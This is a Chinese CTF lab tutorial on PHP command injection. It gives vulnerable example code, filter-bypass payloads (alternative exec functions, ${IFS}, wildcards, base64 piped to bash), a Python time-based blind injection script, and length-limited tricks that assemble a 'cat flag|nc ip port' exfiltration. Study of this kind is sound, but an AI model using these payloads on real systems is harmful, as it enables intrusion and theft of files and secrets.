拉取镜像
$ sudo docker pull mcc0624/cmd:latest
运行
$ sudo docker run -p 18080:80 -p 18081:81 -p 18082:82 -it mcc0624/cmd:latest bash -c "/etc/rc.local; /bin/bash"
注意:需要加载/etc/rc.local,运行初始化命令
原理:对传入的命令执行函数进行限制,使用其他命令执行函数即可
常见命令执行函数:system\exec\shell\passthru\shell_exec\popen\procopen\反引号\pcntl_exec
例题代码
<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['cmd'])){
$c = $_GET['cmd'];
if(!preg_match("/exec|system|popen|proc_open|\`/i", $c)){
eval($c);
}
else{
echo "你是黑客么?";
}
}
?>
审计代码,发现未过滤passthru函数,因此使用该函数即可
payload为cmd=passthru("ls");,成功执行命令
命令拼接:函数中不仅有用户输入命令,还有预先定义的命令,如system('ping '.$_GET['ip']);
linux下命令分割符
分号,分号分割两条命令
||,当前一条命令执行失败时才会执行后一条命令
&&,当前一条命令执行成功时才会执行后一条命令
例题代码
<?php
highlight_file(__FILE__);
error_reporting(0);
$cmd = $_GET["cmd"];
if(isset($cmd)){
system("ls".$cmd);
}
?>
<?php
highlight_file(__FILE__);
error_reporting(0);
$cmd = $_GET["cmd"];
$cmd = $cmd." >/dev/null 2>&1";
if(isset($cmd)){
system($cmd);
}
?>
审计代码,发现情况1中先进行ls的执行,再进行用户输入的执行,因此需要确保后一条执行正常执行,可以使用分号
payload为cmd=;id,成功执行
情况2中先执行命令再将其重定向至/dev/null导致无回显,因此可以采用||确保重定向命令不会执行
payload为cmd=id||,成功回显
考虑到无回显情况,也可以尝试使用带外注入
kali中开启nc侦听端口
payload为cmd=curl http://ip:port/id
,成功回显
linux中可以使用特殊字符$IFS替代命令中的空格,为了避免识别出现问题,可以使用界定符${IFS}
例题代码
<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
$cmd = $_GET["cmd"];
if(isset($cmd)){
$cmd = preg_replace("# #","",$cmd);
echo "过滤后的命令:".$cmd."</br >";
echo "命令执行结果如下:";
system($cmd);
}
?>
审计代码,发现将空格替换为空,因此采用$IFS替换空格
payload为cmd=cat${IFS}flag.php,成功获取flag
也可以使用重定向方式,将文件内容定向至cat输出
payload为cat<flag.php,同样获取flag
linux常用通配符
?匹配一个字符
* 匹配多个字符
例题代码
<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (!preg_match("/flag|system|php/i", $cmd)) {
eval($cmd);
}
else{
echo "命令有问题哦,来黑我丫!!!";
}
}
?>
审计代码,发现过滤flag、php、system,其中,system函数可以使用其他命令执行函数替换,而flag.php可以使用通配符替换
payload为cmd=passthru('cat fl?g*');,成功执行代码
linux下文件读取命令补充
tac 和cat功能一致,但从最后一行开始读
less/more 一次显示一部分
nl 和cat功能一致,显示行号
tail 查看文件末尾
例题代码
<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (!preg_match("/flag|php|cat|sort|shell|\'/i", $cmd)) {
eval($cmd);
}
else{
echo "再来黑我丫!!!";
}
}
?>
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['c'])) {
$c = $_GET['c'];
if (!preg_match("/more|less|head|cat|tac|tail|nl|od|vi|vim|sort|uniq|file|\'/i", $c)) {
eval($c);
} else {
echo "黑的啥都看ä¸è§äº†ï¼";
}
}
?>
审计代码,发现情况1中对常见的文件读取命令进行过滤,因此使用nl替换cat;对单引号进行过滤,可以使用双引号替换
payload为cmd=system("nl flag.php");,成功执行
情况2中基本过滤所有可用文件读取命令,但未过滤grep
grep补充:grep 字符串 文件名,尝试匹配文件中的字符串,如果成功则输出
基于grep,构造payload为c=system("grep { flag.php");,成功读取flag
此外,还可以尝试使用编码方式绕过
利用思路如下
base64编码命令
echo base64编码|base64 -d|bash
针对情况2,构造编码后payload为c=system("echo Y2F0IGZsYWcucGhwCg==|base64 -d|bash");,成功执行代码
通常情况下,无回显注入采用带外注入方式获取信息,具体参见0x03中的方式,然而,有时可能过滤curl、wget等可发送请求的指令,因此只能基于时间进行盲注
时间盲注:将字符切分,并利用if判断其值,当值正确时,配合sleep语句延迟响应,时间盲注常用命令包括awk和cut,利用awk拆分行,cut拆分字符,逐字符判断
例题代码
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\!|\@|\#|\%|\^|\&|\*|\?|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
check($cmd);
exec($cmd);
}
else{
highlight_file(__FILE__);
}
?>
审计代码,发现过滤了常见能够发送请求的指令,且采用exec执行命令,无回显,故考虑时间盲注
盲注脚本如下(参考php靶场中的poc)
import requests
import time
url = ""
result = ""
for i in range(1,5):
for j in range(1,55):
#ascii码表
for c in range(32,128):
c = chr(c)
payload = "?cmd=" + f"if [ `cat flag.php | awk NR=={i} | cut -c {j}` == {c} ];then sleep 2;fi"
try:
requests.get(url=url+payload, timeout=(1.5,1.5))
except:
result = result + c
print(result)
break
result += " "
成功获取flag
对用户输入长度进行限制,导致无法执行常规命令,需要特殊构造
绕过流程
确定需要使用的命令
拆分命令,利用不超过指定长度的字符创建对应的短文件,配合ls命令将其输入到文件中
sh执行最终生成的文件,实现命令执行
例题代码
<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
function filter($argv){
$a = str_replace("/\*|\?|/","=====",$argv);
return $a;
}
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 7) {
exec(filter($_GET['cmd']));
} else {
echo "flag in local path flag file!!";
}
flag in local path flag file!!
?>
审计代码,发现strlen对命令长度进行限制,且使用exec执行命令,无回显;同时会对*、?、/进行过滤,但由于flag在当前路径下,因此filter函数对命令执行无影响
利用过程:
确定使用的命令,由于无回显,因此使用cat flag|nc ip port
创建文件,配合分隔符\用于将一条长命令分割,写法不唯一
>port\\
>\ \\
>ip后半段\\
>ip前半段\\
>c\ \\
>\|n\\
>flag\\
>t\ \\
>ca\\
ls -t>a
kali侦听对应端口,sh a执行即可,最终获取flag
同限制长度为7的区别
创建空格文件使用>\ \为5个字符,因此只能创建包含一个空格的文件,故需要替换命令
ls -t>a长度大于5,无法直接执行
例题代码同限制长度为7,只是strlen<=5
利用思路
创建ls -t>a,由于只能使用ls,而ls以字符顺序排序,导致ls会排在后面,因此需要先输出ls到文件,再>>追加内容
>ls\\
ls>_
>\ \\
>-t\\
>\>a
ls>>_
创建命令执行使用的命令,由于限制空格数,可以采用${IFS}替换空格,构造命令参考限制7,但需要拆分更多
sh _执行ls -t>a,kali侦听端口,再sh a执行a获取flag
一定注意第二步构造的payload(做了n次实验才成功的人如是说(悲QWQ))
长度限制为4后,无法创建空格文件,一些指令也无法正常执行
相关命令
rev,反转文件内容,如abc,反转后为cba
*,linux会把列出的第一个文件名做指令,后续文件名做参数
dir,类似ls,不换行输出
绕过思路:创建linux命令文件,利用*执行命令
例题代码同长度限制7,strlen<=4
利用流程
创建ls相关文件,需要注意字母顺序,*执行时确保正常,最好在g后加分号,防止文件名出现问题
>sl
>ht-
>g\>
>dir
*>v
2. 创建rev文件,利用rev输出ls -t指令到文件中
>rev
*v>x
3. 构造其他可利用命令,直接使用
4. 执行sh x创建g文件,sh g代码执行
相关代码最终会放在github上,具体见通关记录2